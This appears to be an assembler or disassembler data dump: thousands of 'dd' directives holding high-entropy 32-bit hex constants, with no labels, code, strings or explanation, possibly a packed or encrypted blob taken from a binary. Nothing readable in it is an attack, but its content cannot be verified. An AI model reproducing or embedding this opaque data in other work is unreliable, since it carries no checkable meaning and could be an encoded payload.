		dd 0B7191116h, 0CB328811h, 0C106210h, 485A55BDh, 3CD4ABEh
		dd 66C781A0h, 673C2140h, 0F4C28D25h, 0BE3F0060h, 0E172E83Dh
		dd 6FEB5A03h, 0E1EC5F88h, 0CBDC47C3h, 3CC87C5Eh, 75007C8Ah
		dd 40C7AE07h, 2530DC35h, 563DB846h, 0F9457866h,	19751E0h
		dd 82845D10h, 40C6DB9Fh, 0F6B85E40h, 8AD0E160h,	0EA386B09h
		dd 882E1E7Dh, 0E8904079h, 963D4DBCh, 3EC84A62h,	498F2F39h
		dd 62D3A9C1h, 7C2BECD4h, 2DAA7806h, 888EC7A0h, 7B36B874h
		dd 9D731980h, 0F2FA4121h, 0F85FECE0h, 0F45840DCh, 57A9318h
		dd 97E1786h, 0C528C061h, 0A5003819h, 4A6B785Ah,	0F97813Ah
		dd 52D5D6B5h, 9380438Fh, 8BD15D45h, 26F8F415h, 0C8D001ACh
		dd 37D60E81h, 3BB7E850h, 0E9B90224h, 0BE86A4DDh, 0C42CFC90h
		dd 0F8B3D000h, 5617C79Fh, 0C30D2E71h, 97070068h, 0B8784ADBh
		dd 3598D254h, 0F49F273Ch
		dd 2485442Bh, 7D22433Fh, 0CE544D78h, 0C034A90h,	7720FC72h
		dd 80C3FD46h, 0BA96905Eh, 4EF100D8h, 76F952AAh,	3807FAAEh
		dd 28ECB520h, 0BF902Ch,	0C7ADD3D9h, 0DED792A7h,	80ABA639h
		dd 4D80CEF2h, 0DDDD0h, 0DB9E8286h, 1476278Fh, 1B15487Ch
		dd 0C87C7A99h, 57E453Fh, 0D026CF58h, 288F48E0h,	0B85D9204h
		dd 8088E2C6h, 8607404Eh, 0A1998F14h, 165F80BCh,	0A039782Eh
		dd 478EE0h, 0C7A941EDh,	4A4CA2FCh, 56854B02h, 400A7998h
		dd 9B52160h, 3FC0AF1Ah,	0CFE85807h, 34162640h, 963D4F44h
		dd 8128C819h, 0EF117FBCh, 48BA4C20h, 0C9897449h, 90884012h
		dd 0F9D7F0F4h, 7541A588h, 2568C1BDh, 227719E9h,	0B01A00ECh
		dd 0B48245AFh, 11CB5A22h, 4100FC64h, 48206244h,	0F205B2BAh
		dd 0B768BE10h, 993B3430h, 700184A0h, 63B94A71h,	8425F1B7h
		dd 0E075CC50h, 0E4380550h, 60B9C4h, 4A40B39Ch, 2700D85Dh
		dd 0A5F2DD6Dh, 17F2AF3h, 591315DCh, 2440D2BFh, 7C00866Ch
		dd 0B022F24Fh, 319E4BBh, 0DD051CE2h, 749ADA07h,	88200862h
		dd 0BE317AA5h, 5066302h, 89E7078Eh, 0A650055Ch,	80E8EC50h
		dd 2E414970h, 52DCEC71h, 7CC4CEh, 0E0FD420Bh, 9B4D6849h
		dd 2F5020E9h, 0B57BDBEAh, 0FD81B801h, 72A0C0D0h, 5C4BB881h
		dd 2CA8D36Ah, 82BA1DE0h, 88B693C6h, 2DC40371h, 7AC869C0h
		dd 0E7A58100h, 2714614h, 16A8C735h, 0D349B14Bh,	0A0A453ECh
		dd 156C3818h, 883ACE28h, 5560591Fh, 9BA54178h, 347450B6h
		dd 80DF6F05h, 16C81859h, 9AB93AE9h, 0CC4DCF80h,	13BAF882h
		dd 0D649F307h, 0A590FCC8h, 2A4A611h, 0E448DDA2h, 9C4AC9B4h
		dd 50AE2007h, 5B82B36Dh, 69A6BE00h, 0C46A1753h,	0B1DE60D1h
		dd 28DD7416h, 0A9036097h, 28609206h, 0DCDB11h, 0D9D0B435h
		dd 711AAF95h, 0FCC13013h, 72099800h, 0C32B1678h, 190EAD30h
		dd 183B4A93h, 0B84524C0h, 0C6DD0605h, 0AB6EE820h, 3CB003EAh
		dd 0B4F93DB1h, 90ED3293h, 92F25D44h, 0DC510212h, 3070FC42h
		dd 0D0786BF4h, 86F0F5h,	8540F6A5h, 117046B2h, 4FC55E00h
		dd 0F8D83AEEh, 1F50FE4Eh, 360B74h, 0A73C2AB1h, 3E2B8F75h
		dd 0DC04B089h, 5D0049CFh, 9ABAA083h, 0D4103661h, 17C43C81h
		dd 3A530BB4h, 0D018318Eh, 0A5068DDDh, 0A25F3FD6h, 93530F19h
		dd 1FCA4134h, 940500B0h, 1EA632BAh, 0B443F706h,	413413h
		dd 0CFB17D3Ah, 6DD04B7Ah, 0A7FCC4A0h, 6CDCCA1Fh, 5778D803h
		dd 3C181F94h, 821D3CEBh, 704D8138h, 60B64093h, 8CA8EEF8h
		dd 84B0BB09h, 248C064Dh, 0A000E85Ch, 8BF80DDh, 3C19C0B9h
		dd 9A2063F9h, 0A30B864h, 2C11F640h, 0B300ABDCh,	44327178h
		dd 0E694682h, 726C8FBCh, 7D2CBADCh, 330C0114h, 2150BD9Dh
		dd 0B7F03A0Ch, 2E54002Ah, 0F7533F5Bh, 8C909193h, 92A03Ah
		dd 9043F21Dh, 0FC5534B7h, 0E27F0317h, 3BF9060Eh, 0BB3A9ED8h
		dd 9AC27013h, 2CD8E028h, 6280C157h, 0FC491EC6h,	4D283086h
		dd 9C295C8Eh, 4658C1A7h, 49342448h, 3D62FF8Ah, 88E5E810h
		dd 7C8C5448h, 95996891h, 0A0206C21h, 0AFC61356h, 22040849h
		dd 3E339E08h, 4220B9A6h, 4002753h, 0CF3DE7A6h, 8410CA28h
		dd 0C89536AEh, 300C3C12h, 0EF8B127h, 0D51487B7h, 2D86F9EFh
		dd 2C4520D9h, 15157890h, 194C3432h, 0C028EF51h,	7785432h
		dd 5F2DC92Ah, 1997C668h, 526FCA4h, 0EE0E38E7h, 0FCC90749h
		dd 6307A5F2h, 0FADD9824h, 20D816B7h, 55FB0582h,	6C882279h
		dd 327900C4h, 0B3E7A702h, 649A82A1h, 807491ACh,	5049E6C7h
		dd 28B36324h, 4EF95E87h, 0A07179C3h, 24BA6C44h,	97AC43E2h
		dd 15D023CEh, 34C8E699h, 19024F68h, 77461188h, 25504145h
		dd 3E81470h, 0B43FF2F7h, 4A50B870h, 15070A68h, 0C1690776h
		dd 24A4A00Ah, 0B4216138h, 242432C7h, 0EF1E0421h, 0DC3F317Bh
		dd 38001768h, 0F71F0E14h, 926ABE40h, 50934C2Ch,	0D004F922h
		dd 2E08804Bh, 989210C9h, 781C910Dh, 2AA834FAh, 5F1DDA07h
		dd 2EC04A13h, 5545AE38h, 28505CB4h, 483D96h, 0D334EE78h
		dd 5197B81Ch, 6C4A2709h, 9FC02341h, 827105A6h, 0C0B9F94Ch
		dd 0A413C2Fh, 0CF89E562h, 9FB8E022h, 0A0722A05h, 15400B6Ch
		dd 6410FE61h, 0F801FDA5h, 0C789B88Bh, 2462B34Fh, 135EBC00h
		dd 9B317F42h, 4BB3D0Eh,	18B0787h, 0B0FB184Ah, 1DB8F49h
		dd 0B5FE270Ah, 0FC3846D8h, 3732E6BAh, 0C93AF18Ch, 0A8805AE0h
		dd 0C7A4EDA6h, 8C901316h, 0DDE8E1Ch, 0B8FF1C8Ah, 31304207h
		dd 770274EAh, 618F5E7Fh, 404847A8h, 9F243E32h, 0CA721280h
		dd 875576B7h, 8B48C4B9h, 0F8B98C20h, 0CF9F1580h, 266C48D9h
		dd 851C74D3h, 0C0BC4DDDh, 9E585188h, 0B5A10A12h, 880449h
		dd 0C0228E2Ch, 307C4C14h, 49D81900h, 0BC41AFE4h, 0B54D9C7Eh
		dd 77307870h, 0F51789C3h, 184CEA54h, 51EABA68h,	4E78FABCh
		dd 39245977h, 99178ED8h, 334AA000h, 4276D5Dh, 0E4BA5617h
		dd 55E4B48Bh, 75B77E18h, 3E4638h, 99B86CD8h, 4248F3F9h
		dd 13710702h, 82397D36h, 9170FAD0h, 0D184C08h, 1F2DB65Ch
		dd 31FEA4Eh, 3F631D00h,	21BB34h, 1044F720h, 0C852B892h
		dd 48F33DEAh, 0B512FD20h, 6801CEF1h, 6B991FF8h,	1B41C70h
		dd 0AE37D5D6h, 0D0806644h, 96001A7Ch, 0E3D9CC33h, 0BCC45619h
		dd 7DDF8114h, 93E4655Ch, 0FC083C18h, 2C4DC4F9h,	665941A9h
		dd 3BE40520h, 0C004AB78h, 3F22C571h, 1A2E885h, 2205DDD8h
		dd 0D5D450C1h, 2094CEF2h, 9885D3Fh, 45AFE3h, 42514104h
		dd 10A349B7h, 70DFA409h, 0F44C7080h, 56009447h,	0D6B5EB08h
		dd 2A695F1h, 5E6B7841h,	0E8C08144h, 0EA62ED43h,	492EBAD8h
		dd 92C896C8h, 38E069BDh, 46A50883h, 4E4A3800h, 71F24582h
		dd 0DC530131h, 37C049B5h, 4508487Dh, 2C80048Ch,	0C4B7784Dh
		dd 348B0048h, 0FC5526DBh, 33128CC2h, 16449E47h,	723C93CCh
		dd 0C8C072D4h, 4A00080Dh, 324D4149h, 13AB03Fh, 8F35C02Dh
		dd 90924FBDh, 0B580A238h, 226FBA8Dh, 0E200C4B1h, 2BA2C0A6h
		dd 48D0A8CBh, 0AFDE0990h, 0C0C51FD9h, 0AB792D05h, 0CACCD410h
		dd 0C4DBB0E5h, 470A489h, 4BA4A862h, 0B09B5481h,	0F4AE044Ch
		dd 80FF2066h, 5D5E0B80h, 816F029h, 671FD608h, 0B453121Dh
		dd 20CF7C41h, 4803F8B0h, 8F110732h, 9526E8DEh, 10D09272h
		dd 1CC7CC19h, 3C040844h, 0FC903B7Eh, 0E7098FB4h, 0C7A1DC2Ch
		dd 5E2100A0h, 31A0B2B1h, 0BD4952CCh, 17782469h,	0E64D5B00h
		dd 304546B6h, 840C0053h, 0BD344388h, 730FAFD5h,	0B6F7D7h
		dd 44C0235Dh, 0FA018C3h, 85EB603Eh, 20DF5202h, 0E0CCDC5Eh
		dd 99651B8h, 0B8B12B07h, 53B0B42Ah, 0A0C06CB2h,	7E512185h
		dd 24D46250h, 5E09844Dh, 64442F7Fh, 0E0C61DD6h,	3F464018h
		dd 39EE1092h, 0B9B42404h, 10C74E4Bh, 482F8009h,	18D99C50h
		dd 18607609h, 8513C7E6h, 0C0803C6Dh, 5970C003h,	500B0BAh
		dd 225F3919h, 48B2CCE6h, 56C44100h, 0E88E7D5Dh,	60170069h
		dd 787C7438h, 0AD1EDAB1h, 0B40A35C7h, 751C067h,	0C6DDE810h
		dd 4C980F2Eh, 2740EE00h, 4DC1B8Bh, 0ACF2EF13h, 99C0C2EAh
		dd 0DA64A048h, 0E5F18A8h, 84307552h, 1707A1D7h,	0C010599Ch
		dd 24006976h, 2B785E54h, 17B8ECh, 20E67274h, 0C2305DB5h
		dd 0C82C509Eh, 0B9BF8301h, 0FC682E7Eh, 0A5F7C70Ch, 0B82AEA78h
		dd 7F200CAEh, 42ED4AA2h, 467A976Ch, 112D08C3h, 8B00B08Ch
		dd 938723E9h, 20EAB9C0h
		dd 0D04250E9h, 0F1DF1602h, 19A4903Dh, 3A2A6F98h, 0E028D820h
		dd 0F803088Fh, 0B1C40E6Ah, 938104EEh, 80456CF4h, 0D0EB2434h
		dd 58F2B333h, 0D5F0C8DCh, 0A4C84869h, 0DB80708Eh, 222CF1F9h
		dd 0E638FEA0h, 48E7BF4Ch, 0DCA600FCh, 4D211B75h, 51F7F8DAh
		dd 34418097h, 0CD01418Bh, 0FDA882B5h, 0C29AB77h, 4441EB20h
		dd 690A787Dh, 839CF4BAh, 0F6B930DEh, 9818200Ah,	4F82B8AFh
		dd 0DAA10496h, 114500A8h, 0EA5EEF75h, 0A6324CD6h, 482208FAh
		dd 0E937A4h, 6054D75h, 71A5110h, 80A3B339h, 854BAC40h
		dd 0E6FE797h, 7F3FED18h, 0A967ADA2h, 78D05843h,	146488FFh
		dd 10600579h, 0EC98E275h, 0CE203C84h, 0E838034Eh, 0E1FB8D75h
		dd 6C7A1598h, 62D28C01h, 78513941h, 68A86BC9h, 352003Ch
		dd 0A280B29Fh, 5300F46Ah, 61B45D1Eh, 18567EFh, 912EFCDBh
		dd 0F0302112h, 3E002334h, 0C492F4A2h, 248AFFBh,	1FFCBBD9h
		dd 1EE0A404h, 491CAAEFh, 0C9CA3851h, 0DB0FEC0Ah, 8BF26023h
		dd 0DF433Fh, 0DD81E392h, 849CE90Dh, 0F700B07Ah,	47C868C5h
		dd 294AB4h, 42EDB3F9h, 65467B4Ch, 0F022230Eh, 0F3A8A03Ah
		dd 70683DEFh, 1408003Ch, 86A2F466h, 0F7E9F24h, 0C228CC0Fh
		dd 5988A02Ah, 7056E87Fh, 798E00B5h, 453B0636h, 0FF3CF405h
		dd 263E5Ch, 357ABEBCh, 2C021399h, 18A15D14h, 0B1AE213Fh
		dd 0B44FAF00h, 11BB9E0h, 3308CCE1h, 2C1E4E21h, 11C0CD98h
		dd 0AEC3FDDEh, 4DC0003h, 857B4014h, 1D012D51h, 526ED78Eh
		dd 79805AE1h, 6CDA3199h, 0BB07DB23h, 0A119DC32h, 3E217546h
		dd 4B8008E0h, 0BAAC7FF6h, 18C06684h, 0A5DE6479h, 80B00602h
		dd 362A08D6h, 0EE63AE00h, 82ACFDC0h, 0D0A96C29h, 0D8C426F9h
		dd 0B8305609h, 0B4104AAFh, 0ADCCD308h, 0C4FF4531h, 0C200CD47h
		dd 8F31A5C5h, 1C60503Ch, 876C8914h, 0E5320B74h,	89C22A1h
		dd 0AF873090h, 0B0B45108h, 409A64BAh, 60982AFCh, 906C1C77h
		dd 0D12D00EEh, 8E208153h, 0A0E31B03h, 0D0263F50h, 90B564A8h
		dd 857C0592h, 2101D856h, 0F84AB7E8h, 0D00273C6h, 8360E011h
		dd 5E94A742h, 30C29E70h, 7B2F01A5h, 0F4AF843Ch,	0F0F430DFh
		dd 68117030h, 96E7B7h, 0E9C7993Dh, 0C0501AEDh, 0B51E6504h
		dd 5C80661Dh, 1D4D90Bh,	9C28F488h, 0F42108E8h, 3C004F75h
		dd 237CB4DDh, 0FCB91D40h, 0C0B303EFh, 0F2BA9896h, 0F44EC7E9h
		dd 65000A1Fh, 8AD10330h, 0E9FDE7Dh, 140E8420h, 0C833805Dh
		dd 0E7603522h, 63003073h, 0E407D9AAh, 0FE44BAh,	0A9D993Ch
		dd 21EED1DAh, 37FAC702h, 606576C5h, 9949D4h, 4B34359Eh
		dd 0FEC9226Dh, 0B8009AF0h, 847B3B90h, 0DEC2D5h,	519EB45h
		dd 0E421A0DFh, 0E60099F6h, 5FAAF0D0h, 39DDB3h, 0CFFED6E5h
		dd 336FF8DFh, 6759BE00h, 137CB020h, 497E009Ah, 66FB2682h
		dd 0D200C7E1h, 0BC1ED5E3h, 9B6EABh, 0F60E22Ah, 8457E42Fh
		dd 4E8A8900h, 241F4C12h, 7E18C99Ah, 0F666B00h, 96A2332Eh
		dd 0A41E30C0h, 0C1199400h, 736B2D24h, 0DC6A0F4Fh, 3300BD11h
		dd 9E0A36A1h, 0DBEC1F0Ch, 60F52878h, 87BB60A7h,	7D18D96Dh
		dd 2FD89F3Ah, 3C1900CAh, 7A103880h, 0C05EEE8h, 303A2E4Eh
		dd 0F36E9503h, 0A0900098h, 2902508h, 8B606D81h,	0EE696241h
		dd 85F1009Ah, 0ACB9427Ah, 9C6EA58Ah, 0B3564621h, 0D7808040h
		dd 9A4D1E7Eh, 80F9005Ch, 4AF86A5Fh, 93EAC00Fh, 0A87FC013h
		dd 78F0CDEh, 5D73BB8Ch,	10F4808Dh, 0E300CA27h, 6FAAE6B3h
		dd 35F3B6h, 0BB7E602Ah,	98816739h, 0C8EEF47Ah, 0ABA228C4h
		dd 4427CF44h, 2B42640Dh, 900FC9F9h, 2829519Eh, 2EE82871h
		dd 80AD3A88h, 250051C5h, 7B221D1Ch, 29BFAC1h, 0D777E629h
		dd 60E04D34h, 0B200AC55h, 9D8F0A2Fh, 0EC35894Ch, 0E9A1009Bh
		dd 5C0752D7h, 7C005169h, 4F360C43h, 9EC3A5h, 0FCD0D232h
		dd 0A6CC1F0h, 0A77E3B00h, 54406469h, 0ED310061h, 0C142E62Eh
		dd 0D200DA02h, 798752F7h, 9549FFh, 90408CACh, 0CF7BBC39h
		dd 8808C700h, 84CA8DB3h, 0E47E0081h, 7AF04B95h,	0AF004E48h
		dd 8CE1CBEAh, 79116C6h,	0AE35FC3Ah, 875A800Ah, 790145CAh
		dd 0C8845224h, 199E066Dh, 4056009Bh, 918AFF4Eh,	64A3800Eh
		dd 935A9921h, 0E35B7ECh, 114928D7h, 8CEA2523h, 0ACD4E9B0h
		dd 0F00B8B28h, 0B5E2F400h, 100A07BFh, 5D711C98h, 90030025h
		dd 6DD1641h, 0C265400h,	3BE508E6h, 231D00BCh, 0C45C95CFh
		dd 0EC0707AFh, 8F8EDFD7h, 0E0401903h, 1D5B8A0Ch, 6409F81Fh
		dd 83A80C5Bh, 0CAECDE70h, 602BFA00h, 47C789E9h,	0F7F642h
		dd 0D8A4629Ah, 0B8A712ABh, 5A7D5600h, 0B2364DFBh, 0CC1707EBh
		dd 80E1BA70h, 0ADC653F9h, 0F0B65802h, 823B4DEDh, 4157FBC0h
		dd 49C862D8h, 27A80043h, 8013349Ch, 7004668h, 36BC9288h
		dd 0FF7AE3h, 0A7993A0Dh, 7D5B4778h, 0CAC94406h,	1072D4h
		dd 0FC5A42C6h, 0ECB19FF3h, 19717F00h, 61014EA9h, 2B170E49h
		dd 4C00BC94h, 0EE102CF6h, 29FA8D07h, 0E6600F7Ah, 0A05455C5h
		dd 9BD294h, 0AA503FA3h,	625A3440h, 0EC6A1700h, 68B2F1E5h
		dd 583301E0h, 53A2E3E4h, 898BC84Dh, 95B8C200h, 0C6BC0F45h
		dd 0D5060013h, 0F1FF8C8Eh, 30009AB9h, 837A5331h, 39740B51h
		dd 0D880636Dh, 2A8AAB3Ah, 1A7D9E82h, 37CD7F0Eh,	4D4680A8h
		dd 7BC0C4h, 1B79DAAAh, 76D70649h, 874E5000h, 219FFC9Ah
		dd 0C5861DDDh, 0F815C0E7h, 6ADA5B2Ch, 1F44A700h, 4FF9F5D4h
		dd 0B6690E82h, 1D2072B5h, 35D87C01h, 0B851202Ch, 91170300h
		dd 395619h, 0DC555CEEh,	0E7C992CEh, 3FAD4000h, 0AE33E38Eh
		dd 1252C1C4h, 0E0289620h, 0F300A75Fh, 108E9502h, 4806352Dh
		dd 7C00200Dh, 0BD73C594h, 0AD003F7Eh, 20623285h, 1AB23B1h
		dd 0F50BC958h, 0F4B51311h, 8974BAC3h, 585AE00h,	0EEDDF142h
		dd 4F5100E0h, 0AF7E4B56h, 8600A62Bh, 0D8CE1A37h, 0E87F8h
		dd 8A5F2891h, 0E996A51Bh, 8000497Fh, 0CC32ABD0h, 7FD05FEh
		dd 813B869Dh, 0DA5220C2h, 8E002B0Ah, 72FAD1EBh,	0F8DD6BAAh
		dd 0CC5C008Bh, 16EB239h, 94002580h, 0CDC38F63h,	0BC44ABh
		dd 73ED1617h, 290A9F50h, 0FBC4C900h, 0E25C0478h, 48B17FE0h
		dd 210E7A88h, 0D2A3CC47h, 62F0C7EEh, 0DB00356Fh, 4BDFC5BCh
		dd 17283158h, 7FE2DEDh,	1F560D4Ah, 65DBA5E0h, 6D0793D9h
		dd 6B66F2EEh, 78C2FE10h, 1EDD0094h, 0CE35874Ch,	0E000ADCAh
		dd 2458B0FCh, 0F3F6FD3h, 0BDF309C8h, 48016C00h,	9C00B688h
		dd 0EB0E5921h, 1DCC6E22h, 0C093EF40h, 4A4580AFh, 5300E908h
		dd 0E7C2B65Ch, 335B8BAh, 59560E88h, 0A90CBDFh, 0AC00F9A2h
		dd 0FD4A14EAh, 758546B5h, 9AD30080h, 969D600Eh,	7E0045A9h
		dd 0AF5CA53Dh, 0C7B0A0h, 2F3503B6h, 96A2BB26h, 0E9909D1Fh
		dd 86D0C300h, 731B94F5h, 878400AAh, 0E150C408h,	8D000516h
		dd 1F45FE92h, 388EE658h, 0A8BB6EA3h, 8377B300h,	76812448h
		dd 44027900h, 0ED80C595h, 30F6E8h, 4DE0C9F1h, 3A260B7Ah
		dd 0C3004FE4h, 0EF6BC2D9h, 76A2BAh, 60746EF3h, 55292D87h
		dd 0A803127Bh, 88ED745h, 34800006h, 5BBCCE4Fh, 0FA0589E6h
		dd 51D6A9F0h, 0A03E1FC7h, 64ABF1EEh, 0B5E61924h, 0E0E918B4h
		dd 5101586Eh, 0BA92D997h, 74705423h, 103C0016h,	6C894624h
		dd 0F000BD72h, 0EB408AA6h, 0AFB5DDh, 0A59716D9h, 8CD167DAh
		dd 68F61B00h, 3251C1Ah,	0D40D3F5Ch, 3DCC598Fh, 0CD2751E0h
		dd 120A7A40h, 0C8660568h
		dd 4448301h, 43D81946h,	0DC7178h, 999C4295h, 0B8B5D31Fh
		dd 5C03BAEEh, 6F4A7EDDh, 806ED89Bh, 29720375h, 8D70B332h
		dd 7354C0B7h, 0D268AE4h, 0C100E9F6h, 7CC8433Dh,	0F46005Ch
		dd 0DBEF5051h, 5948CB34h, 5D140027h, 7877EC57h,	47AA0086h
		dd 6839C4DFh, 937C3661h, 0F95AAD2Ch, 0E137AF00h, 5BF0EBh
		dd 72032765h, 6AC00AE8h, 1EEEB300h, 0FD47FA3Dh,	0F817748Dh
		dd 8E253B6Bh, 0E5D2E280h, 2B19FF9Ah, 8CA7400h, 0FAB799F8h
		dd 1E050017h, 18607735h, 73004CE3h, 0DC5F369Eh,	3CC398Ah
		dd 0FB4DC31Bh, 6AF0F0E5h, 0F2099B24h, 20A87223h, 0F3A7674h
		dd 0E1E90058h, 0C2A180ADh, 450086D4h, 12B8A34h,	922A2CB3h
		dd 0CE14006Ch, 339D8223h, 0C10EF4BCh, 0A08FA7EAh, 221C66E1h
		dd 29B3004Eh, 83F9B8A3h, 0BD005461h, 0DFF78FFDh, 7D21A4h
		dd 144B630Ch, 0BF1E423Eh, 85DAFF00h, 2D1664CEh,	972403EFh
		dd 72D545FCh, 474386D8h, 0DCCDA600h, 0C9D9E3ADh, 38A076D7h
		dd 93807BEFh, 60BCDD54h, 0C985AE5h, 6CCF5630h, 9745E9h
		dd 5779AE39h, 0F30AA8Bh, 70982250h, 22A1D1Fh, 410C8296h
		dd 71D815h, 65F8ED2Dh, 37E67238h, 0F0E89000h, 95AF896Bh
		dd 93580028h, 9B2D537Fh, 0C7009214h, 497E1EC8h,	0EDF518h
		dd 0A8818CA0h, 2784CC5Eh, 4A3D31F2h, 0F55500FEh, 1F072B89h
		dd 2D5B00CAh, 49D5EF91h, 0FDA0489Ch, 2B00AB32h,	7334178Bh
		dd 0D065B2h, 0ABC2AE3h,	0C5DF1836h, 0C024D830h,	7FC6D28h
		dd 0C3765B84h, 91E3B06Eh, 27984823h, 0A9AE5300h, 0EE3C418Bh
		dd 6A1B13F9h, 99CB00A0h, 2CE0624Eh, 660B2100h, 0E3FAD96Eh
		dd 329D283Eh, 0CBC900F8h, 6782F34Bh, 1F1F3DA0h,	92858611h
		dd 0AFC06C03h, 6AB121h,	0CBD318A5h, 430F22E9h, 264F0600h
		dd 1083BDFh, 79499CAh, 17508FB9h, 1BC130B8h, 0A339CF8Bh
		dd 81EC805Eh, 0A2DB4660h, 0BAC01E4Fh, 0F464802Bh, 1A03E1E0h
		dd 0FF035EFEh, 5BCF587Dh, 9298F834h, 7B5200D3h,	0D89EA13Ch
		dd 78000A97h, 2269A31Eh, 342A7Fh, 0E241A0C6h, 0B6EF864Ch
		dd 7E0074E2h, 0EC9F82FEh, 9093F48h, 4ABD21EBh, 4900500Eh
		dd 2BEAD1E6h, 0E27BE303h, 0C836602Ah, 0E40E32h,	0F62F9069h
		dd 194F8C7Fh, 14FEE812h, 2586BB00h, 0F33581h, 7A96C28h
		dd 0DEA5B5F0h, 0AF1B4100h, 6A87939Dh, 2C9074B7h, 0D10476h
		dd 239AFA0Dh, 6F00ED4Dh, 0EA72FB81h, 0B8DFDB5Dh, 2DFD0086h
		dd 979F7910h, 5200662Fh, 63EC0FB7h, 0EA89D5h, 95E05FC8h
		dd 98C01F0Dh, 77B81270h, 0A112600h, 831D3D86h, 803103C6h
		dd 0F55761BFh, 0ACFBA000h, 994334FAh, 2AA81D5Ch, 77003C9Ch
		dd 0C4A2979Ah, 8C0E858Fh, 0E50E1745h, 9C005A41h, 272C48FDh
		dd 0DD630031h, 4A7A3728h, 624ACACBh, 711FADF8h,	704962Ah
		dd 0C0510332h, 84DDF7AEh, 0B80E912Ch, 50C5CD00h, 5027E098h
		dd 738D67h, 2D668593h, 7DD16F0Fh, 0EB70A300h, 9677083Fh
		dd 3BF0BBh, 0F9D0D5EAh,	0A81F930Dh, 7C1B6800h, 0F292A91h
		dd 8C1400F8h, 2170560Ah, 9FF866E5h, 4918A200h, 0F2015D6h
		dd 0F7D400C9h, 6A1236D1h, 0C00113FCh, 0A509664Ch, 26E1019Fh
		dd 79A3860h, 6014F348h,	7D8AC0BFh, 8F00AD97h, 0CAD8569Bh
		dd 891CF2h, 246F2DA5h, 11993CE0h, 83063638h, 673EFAADh
		dd 9A23F914h, 2E162BFCh, 168CFBAh, 654BA663h, 0B9070E95h
		dd 60789F31h, 0D15097E2h, 486C9A26h, 46ABF700h,	0F89E0Ah
		dd 9B28CC33h, 0F41E55DBh, 1EB8E2F0h, 0AE7D4400h, 0A845AC18h
		dd 0CC732Bh, 0C75F7701h, 0B4FE8F2Eh, 0E1B0CAF8h, 375ED502h
		dd 80416C3Fh, 57E20F2h,	0F6573BB3h, 8025E407h, 55E8C0A0h
		dd 53B81F2Bh, 0C71529C0h, 0BA2383h, 9A7FF95Fh, 0CB2967F5h
		dd 0EF0D78E0h, 0A0C96163h, 7CA031B1h, 6A5BDC79h, 7B80248h
		dd 0E2D87D97h, 96F05CB0h, 888F0EA2h, 7C66EC06h,	1412D80Ch
		dd 0F80182D4h, 12B6907Fh, 0F89DD0h, 8DD1A2E4h, 6FD27E46h
		dd 0C9B7F200h, 0DEC0BC9Ah, 0A02B0390h, 0EE17D61h, 46C074C3h
		dd 3B00AB65h, 202FA2C2h, 772334h, 0CA575C04h, 0C18CEAD0h
		dd 357ECB00h, 0F1DA29D4h, 187A1E97h, 126780C0h,	0D06D7CE0h
		dd 993ABE7Fh, 0E25F0CFBh, 25E0AFh, 0A58AB9Eh, 0CB6B3496h
		dd 6033BB34h, 0E8958800h, 15DA9h, 0D9DBB2B1h, 0B38388BAh
		dd 7950E000h, 0BCEDEFDCh, 1C3FD26h, 0D56209AAh,	0F40B6964h
		dd 0C701FC19h, 0A58A70E5h, 40C6A30Fh, 7D85FD08h, 0C01E64Ah
		dd 7AE6259Ch, 4E001318h, 725AA184h, 73716ACCh, 6B1E00F7h
		dd 88F218Ah, 8400E87Bh,	25180976h, 187026A3h, 4087AD31h
		dd 0BEE89757h, 10CF7DFCh, 9A27C06Dh, 0A03B3AD9h, 3973F780h
		dd 0B580489Dh, 64E39F28h, 0F1F866Bh, 0F900921Ah, 8ABF5324h
		dd 1910E43h, 17614E72h,	0FA8646BDh, 94BEBC48h, 70AF201h
		dd 6FD8635Dh, 0F576C841h, 0B0A961F4h, 0F4C98ACh, 52AB6AB4h
		dd 2346C500h, 340065E6h, 0F4B88411h, 0EA5DB0h, 41936AD9h
		dd 0A98197AEh, 0FE1DA8EAh, 1292B7ECh, 3B3FBC40h, 0A42D02h
		dd 6DE6F17Dh, 279935A5h, 0C2E3816h, 6E038DBCh, 93C03797h
		dd 0CE31ABAh, 631F809Dh, 2F0053EAh, 8DF577FAh, 39888345h
		dd 0F31F110Eh, 0D91697h, 0E0650D04h, 510441F8h,	0C0D75805h
		dd 0CF3428C0h, 1B92098Dh, 70217656h, 0CCF9362Ah, 0A838E867h
		dd 51A7817Fh, 6E27A6F8h, 6AA5E880h, 1ACEFC72h, 0E3CA1805h
		dd 0EC0068ABh, 75162215h, 19C3E26Dh, 18421A5Bh,	0D571F497h
		dd 0C24A5400h, 58C56EC7h, 0FCFB008Ah, 0DF86435Eh, 7017653h
		dd 0A26DB85Fh, 74E0D666h, 81793F84h, 747D823Eh,	0CDAD2EE4h
		dd 0B516F7h, 604DED2Ch,	2B009371h, 8F74A9D8h, 2F1BEFh
		dd 7AB51EA8h, 0C611F061h, 750093E4h, 12EDB29Fh,	0BCD050h
		dd 9ED6C398h, 565BFE0Ah, 0F82EE028h, 0B6ED7E00h, 0EA4AF199h
		dd 735100BDh, 3DAA370h,	0D60EFEFDh, 20E91E7Eh, 88AC7F1Bh
		dd 0D1F20054h, 46894B22h, 0B000FA1Ah, 24D68079h, 40EA8160h
		dd 5403C7DAh, 1BE8063Ah, 84B7D762h, 63892191h, 796F8FCh
		dd 0A6FCCD1Ah, 1830F058h, 0A100C8CEh, 702EF9D5h, 0FCBBE94Bh
		dd 0F1F01BAh, 0F2C7EB56h, 8292F423h, 15E42607h,	79F0C2E0h
		dd 0EBB75Dh, 5BFC8130h,	7FD77B48h, 195F6901h, 4DD21E71h
		dd 0D5A8003Eh, 0AC9C582Ch, 6DE7ABA0h, 3D690C00h, 0F5D001C9h
		dd 3CCF0073h, 0B6C3713h, 96F48BD3h, 12A19500h, 4F9150E5h
		dd 38180571h, 80B3D98Fh, 5C11A811h, 9F417800h, 1055FEC2h
		dd 52FD0006h, 8E1DF5AEh, 7100CEC4h, 5B0AD94Fh, 0E3DC1Ch
		dd 0E7CF8A2Ah, 1836C5C8h, 0AF008379h, 6BE6B048h, 563BD5h
		dd 629ECDBh, 95CAC2D2h,	52E50306h, 4011DF2Ch, 0F444315Bh
		dd 6E67893h, 0CE91F3D9h, 4FE22097h, 4D176B1Ch, 267E0B80h
		dd 47F10Eh, 0F5C63D0Ch,	85123CEEh, 30D66532h, 0C5E16064h
		dd 9F4200CAh, 1D830D7Dh, 8E0054BAh, 1F36FBFCh, 3D1440EAh
		dd 0BC80D7B5h, 832C68E1h, 5E00FFD3h, 0E4DA23BEh, 0BBC995h
		dd 0F5DFC1C6h, 66CE38Bh, 145133Eh, 8DDD7F6Bh, 0A7EC0979h
